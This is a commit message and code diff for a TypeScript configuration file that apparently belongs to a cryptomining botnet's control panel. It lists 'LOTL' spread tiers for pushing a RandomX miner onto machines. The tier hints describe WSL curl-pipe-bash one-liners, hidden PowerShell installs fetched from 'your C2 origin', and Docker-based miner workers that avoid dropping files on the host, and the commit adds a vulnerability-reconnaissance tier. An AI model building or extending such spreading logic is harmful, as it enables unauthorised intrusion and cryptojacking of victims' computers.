Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.

server/web/src/help/lotlOnionTiers.ts

@@ -1,6 +1,7 @@
 /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
 
 export const DEFAULT_LOTL_ONION_TIERS = [
+  'vuln_recon',
   'docker',
   'wsl',
   'powershell',
@@ -22,6 +23,7 @@ export interface LotlOnionTierDoc {
 }
 
 export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
+  { id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
   { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
   { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
   { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },